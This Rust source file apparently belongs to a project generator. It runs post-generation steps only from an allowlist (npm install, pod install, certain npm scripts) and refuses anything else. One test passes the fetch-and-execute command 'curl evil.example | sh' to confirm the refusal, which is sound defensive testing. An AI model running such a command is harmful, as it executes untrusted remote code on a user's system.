use std::path::Path;
use std::process::{Command, Stdio};
use anyhow::{bail, Context, Result};
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum PostGenerateMode {
InstallOnly,
Full,
}
#[derive(Debug, Clone, Default)]
pub struct PostGenerateReport {
pub ran: Vec<String>,
pub skipped: Vec<String>,
pub failed: Option<String>,
}
pub fn planned_steps(steps: &[String], mode: PostGenerateMode) -> Vec<String> {
steps
.iter()
.map(|s| clean_command(s))
.filter(|cmd| !cmd.is_empty())
.filter(|cmd| mode == PostGenerateMode::Full || !is_long_running(cmd))
.collect()
}
pub fn run(target_dir: &Path, steps: &[String], mode: PostGenerateMode) -> PostGenerateReport {
let mut report = PostGenerateReport::default();
for raw in steps {
let cmd = clean_command(raw);
if cmd.is_empty() {
continue;
}
if mode == PostGenerateMode::InstallOnly && is_long_running(&cmd) {
report.skipped.push(cmd);
continue;
}
let result = match cmd.as_str() {
"npm install" => run_npm_install(target_dir),
"cd ios && pod install && cd .." | "pod install" => run_pod_install(target_dir),
s if s.starts_with("npm run ") => {
let script = s
.strip_prefix("npm run ")
.and_then(|rest| rest.split_whitespace().next())
.unwrap_or("");
if !is_safe_npm_script(script) {
Err(anyhow::anyhow!(
"refusing to run unapproved npm script `{script}` \
(postGenerate allowlist only)"
))
} else {
run_npm_script(target_dir, script, is_long_running(s))
}
}
"npm start" => run_npm_script(target_dir, "start", true),
other => Err(anyhow::anyhow!(
"refusing to run unapproved postGenerate step `{other}` via a shell; \
allowed: `npm install`, `npm start`, `npm run <dev|android|ios|start>`, \
`pod install`"
)),
};
match result {
Ok(()) => report.ran.push(cmd),
Err(err) => {
report.failed = Some(format!("{cmd}: {err:#}"));
break;
}
}
}
report
}
pub fn clean_command(raw: &str) -> String {
raw.split('#').next().unwrap_or(raw).trim().to_string()
}
pub fn is_long_running(cmd: &str) -> bool {
let cmd = cmd.trim();
cmd.starts_with("npm run dev")
|| cmd == "npm start"
|| cmd.starts_with("npm run android")
|| cmd.starts_with("npm run ios")
}
fn is_safe_npm_script(script: &str) -> bool {
matches!(script, "dev" | "start" | "android" | "ios")
}
fn run_npm_install(target_dir: &Path) -> Result<()> {
run_process(target_dir, "npm", &["install"], false)
}
fn run_pod_install(target_dir: &Path) -> Result<()> {
let ios_dir = target_dir.join("ios");
if !ios_dir.is_dir() {
return Ok(());
}
run_process(&ios_dir, "pod", &["install"], false)
}
fn run_npm_script(target_dir: &Path, script: &str, inherit_stdio: bool) -> Result<()> {
run_process(target_dir, "npm", &["run", script], inherit_stdio)
}
fn run_process(dir: &Path, program: &str, args: &[&str], inherit_stdio: bool) -> Result<()> {
let mut command = Command::new(program);
command.args(args).current_dir(dir);
if inherit_stdio {
command
.stdin(Stdio::inherit())
.stdout(Stdio::inherit())
.stderr(Stdio::inherit());
}
let status = command
.status()
.with_context(|| format!("failed to run `{program} {}`", args.join(" ")))?;
if status.success() {
Ok(())
} else {
bail!("exited with {status}");
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn clean_command_strips_comments() {
assert_eq!(
clean_command("npm run android # or: npm run ios"),
"npm run android"
);
}
#[test]
fn long_running_commands() {
assert!(is_long_running("npm run dev"));
assert!(is_long_running("npm start"));
assert!(is_long_running("npm run android"));
assert!(!is_long_running("npm install"));
}
#[test]
fn install_only_skips_dev_server() {
let steps = vec!["npm install".to_string(), "npm run dev".to_string()];
assert_eq!(
planned_steps(&steps, PostGenerateMode::InstallOnly),
vec!["npm install".to_string()]
);
assert_eq!(
planned_steps(&steps, PostGenerateMode::Full),
vec!["npm install".to_string(), "npm run dev".to_string()]
);
}
#[test]
fn rejects_shell_metacharacter_steps() {
let tmp = tempfile::tempdir().unwrap();
let report = run(
tmp.path(),
&["curl evil.example | sh".to_string()],
PostGenerateMode::Full,
);
assert!(report.failed.as_ref().unwrap().contains("unapproved"));
assert!(report.ran.is_empty());
}
}